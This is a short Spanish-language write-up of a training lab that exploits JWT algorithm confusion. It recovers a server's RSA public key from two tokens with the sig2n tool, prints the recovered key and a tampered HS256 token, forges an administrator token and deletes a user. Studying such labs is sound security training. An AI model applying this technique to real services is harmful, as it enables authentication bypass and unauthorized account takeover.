Skip to content

20260321025903.png

LAB

20260321160902.png

En este laboratorio estaremos explotando confusión de algoritmos en JWT sin que el servidor exponga públicamente su clave. A pesar de ello, logramos deducir la clave pública RSA que utiliza para validar los tokens, a partir de dos JWT generados legítimamente tras iniciar sesión.

Usamos la herramienta sig2n, que permite reconstruir valores matemáticamente posibles de la clave pública analizando las firmas.

c
docker run --rm -it portswigger/sig2n <token1> <token2>

20260321161723.png

Tras identificar la clave válida, la usamos como si fuera una clave secreta con el algoritmo HS256, firmando un token falso que nos identifica como administrador.

20260321161756.png

Para validar que clave es correcta, iremos probando una a una. Vemos que la cuarta es una valida:

20260321162010.png

20260321162033.png

c
Found n with multiplier 4:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwSlIxYW96bVhBN096Yy83TWJwbgpKaWdqbjVkMGhvRE9QczcwbEY0K1BZZ0o4MzJ1RVZwVUpkRXRhTTBmelpyRE9nZFZBdng3UTFRU0FPb1pSUVIzCjd5eGxqQ2hzbHpRK3ppeVJ5UTVJakF0VDR3bFpuU1RoNnk3WVpxdUkyaFBkOVpoVnkzMVU0MHlac0NpMy8zSWwKS1FvNUNQaTI2NXhaWnIzYnlTd2grR0VPZ1p0RkVsbm5XdjRIWXBMbTdTNS9YU3dlcjlUdVVqKzNFdjVPZHMyZQpsNHdIWlh5c2UycmFwRU1KTGZCUFQ5THAxbnRwUzArZXBHS2tpYXpVcmNwVmVIZ0YrL243TEYwbEFDa3IvSFo5CmFJdXdKWHJrNW1pM1YzWlNmeEN2aW04Szc3TnNCcnVPM3E0MDJ6aklhSnY2eUhuS0JsWlBSRjZhbFMxYjVQMHAKOVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiI3NDE3NmRkNi02NzZmLTQ2NjUtOTQ5Mi0wZTg1ZTgyZDcwM2MiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc3NDIxNDI0NCwgInN1YiI6ICJ3aWVuZXIifQ.nJXsJsskmA0vyrgtE5t6DAm6APlXxjZuiq3O9IUBb4s

Por lo que generaremos una key asimétrica y pegar la clave

20260321162351.png

Luego procedemos a firmar el token cambiando el usuario.

20260321162533.png

El servidor acepta el token y accedemos al panel de administración, desde donde eliminamos al usuario Carlos.

20260321162553.png